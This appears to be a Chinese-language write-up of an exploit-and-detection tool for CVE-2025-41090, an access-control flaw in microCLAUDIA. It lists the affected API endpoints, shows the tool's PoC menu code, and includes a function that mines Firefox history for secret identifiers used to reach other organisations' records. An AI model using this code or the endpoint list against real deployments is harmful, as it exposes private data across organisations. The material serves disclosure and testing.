🔓 brokeCLAUDIA - CVE-2025-41090
CVE-2025-41090 - microCLAUDIA 中央服务中的越权访问漏洞利用与检测框架
| :--- | :--- |
| /api/login | POST | 用户登录,获取 JWT 令牌。 |
| /api/instances | GET | 获取与用户关联的实例信息。 |
| /api/instances/{id}/agencies/all | GET | 获取指定实例下的所有机构列表。 |
| /api/agencies/{id} | GET | 获取指定机构的详细信息。 |
| /api/agencies/{id}/agents | GET | 获取指定机构下的所有代理列表。 |
| /api/agencies/{id}/vaccines | GET | 获取指定机构下的疫苗配置。 |
| /api/agents/{id} | GET | 获取指定代理的详细信息。 |
注意:根据 CVE 描述,这些本该被隔离的跨组织 API 在受影响版本中并未正确实施访问控制。
💻 核心代码
1. 主菜单与程序入口 (main.py)
该代码是工具的入口点,负责显示横幅、初始化各个功能模块,并通过循环提供交互式菜单。
from InquirerPy import prompt
from core.modules.artascii.artascii_draw import ArtAsciiDraw
from core.modules.historybrowser.historybrowser_obtain import HistoryBrowserObtain
from core.modules.microclaudia.microclaudia_pocs import MicroClaudiaPoCs
from core.modules.microclaudia.microclaudia_signin import MicroClaudiaSignIn
# Main
def main():
try:
# Banner
art_ascii_draw = ArtAsciiDraw()
art_ascii_draw.banner() # 绘制工具横幅
# Options
option_api_endpoints = 'microCLAUDIA API Endpoints'
option_sign_in = 'Sign In to microCLAUDIA Website'
option_poc_users = 'PoC - Broken Access Control (Check with two accounts)'
option_poc_request = 'PoC - Broken Access Control (Request private element)'
option_browser_history = 'Obtain Secret Identifiers (Extract History)'
option_exit = 'Exit'
# Question
question = {
"type": "list",
"message": "Select an action:",
"choices": [option_api_endpoints, option_sign_in, option_poc_users, option_poc_request, option_browser_history, option_exit]
}
# Classes
microclaudia_signin = MicroClaudiaSignIn()
microclaudia_pocs = MicroClaudiaPoCs()
history_browser_obtain = HistoryBrowserObtain()
# Loop
while True:
result = prompt(questions=question) # 显示交互菜单并获取用户选择
# Menu
if result[0] == option_api_endpoints:
microclaudia_signin.table_endpoints() # 显示 API 端点
elif result[0] == option_sign_in:
microclaudia_signin.signin_website() # 登录网站并解码 JWT
elif result[0] == option_poc_users:
microclaudia_pocs.broken_access_control_users() # 双账户 PoC
elif result[0] == option_poc_request:
microclaudia_pocs.broken_access_control_request() # 直接请求 PoC
elif result[0] == option_browser_history:
history_browser_obtain.browsers() # 提取浏览器历史
elif result[0] == option_exit:
exit(0)
else:
print('Invalid option. Please choose a valid action.')
except Exception as e:
print(e)
if __name__ == "__main__":
main()
2. 漏洞结果视觉反馈 (artascii_draw.py)
此模块通过绘制 ASCII 艺术图形,为漏洞是否存在提供直观的视觉反馈,提升了用户体验。
from colorist import Color
class ArtAsciiDraw:
# ... (banner 方法) ...
@staticmethod
def vulnerable() -> None:
"""
当漏洞存在时,绘制一扇敞开的门
"""
print(f'''{Color.GREEN}
______________
|\\ ___________ /|
| | /|,| | | |
| | |,x,| | | |
| | |,x,' | | |
| | |,x , | |
| | |/ | | |
| | /] , | |
| | [/ () | |
| | | | |
| | | | |
| | | | |
| | ,' | |
| | ,' | |
|_|,'_________|_| VULNERABLE
{Color.OFF}''')
print('\n')
@staticmethod
def not_vulnerable() -> None:
"""
当漏洞不存在(已修复)时,绘制一扇关闭的门
"""
print(f'''{Color.RED}
______________
|\\ ___________ /|
| | _ _ _ _ | |
| | | | | | | | |
| | |-+-+-+-| | |
| | |-+-+=+%| | |
| | |_|_|_|_| | |
| | ___ | |
| | [___] ()| |
| | ||| |
| | ()| |
| | | |
| | | |
| | | |
|_|___________|_| NOT VULNERABLE
{Color.OFF}''')
print('\n')
3. 浏览器历史记录提取 (historybrowser_obtain.py - Firefox 部分)
该代码展示了如何从 Firefox 的 SQLite 历史数据库中提取包含特定域名的 URL,这些 URL 中可能泄漏了用于越权访问的敏感标识符。
import os
import re
import sqlite3
from colorist import Color
from datetime import datetime, timedelta
from core.common.static.constants import MICROCLAUDIA_DOMAIN
class HistoryBrowserObtain:
def __init__(self):
self.domain = MICROCLAUDIA_DOMAIN
self.secrets = []
def firefox(self) -> None:
"""
从 Firefox 浏览器历史中获取包含特定域名的记录
"""
try:
# Windows 系统下 Firefox 历史数据库的路径
firefox_profile_path = os.path.expanduser("~\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\")
profile_folders = os.listdir(firefox_profile_path)
# 使用第一个找到的配置文件
first_profile_folder = profile_folders[0]
firefox_history_db = os.path.join(firefox_profile_path, first_profile_folder, "places.sqlite")
# 连接到 SQLite 数据库
conn = sqlite3.connect(firefox_history_db)
cursor = conn.cursor()
# 正则表达式,用于在 URL 中搜索 SHA-256 哈希值(一种可能的标识符)
sha256_regex = re.compile(r'[0-9a-f]{64}')
# SQL 查询:获取过去一年的历史记录
one_year_ago = datetime.now() - timedelta(days=365)
# 注意:Firefox 使用微秒时间戳
query = f"SELECT url, title FROM moz_places WHERE last_visit_date >= {one_year_ago.timestamp() * 1000000} ORDER BY last_visit_date DESC;"
cursor.execute(query)
# 过滤结果:仅保留包含目标域名且匹配 SHA-256 模式的记录
results = [row for row in cursor.fetchall() if self.domain in row[0] and sha256_regex.search(row[0])]
# 将去重后的秘密信息添加到列表中
for row in results:
url, title = row
message = f'firefox - {title} - {url}'
if message not in self.secrets:
self.secrets.append(message)
# 关闭数据库连接
conn.close()
except Exception as e:
print(f'Error obtaining firefox history: {e}')
# ... (Chrome 和其他方法) ...
```FINISHED
6HFtX5dABrKlqXeO5PUv/xVUOSdc1D7yzdGQ5AeG5OM=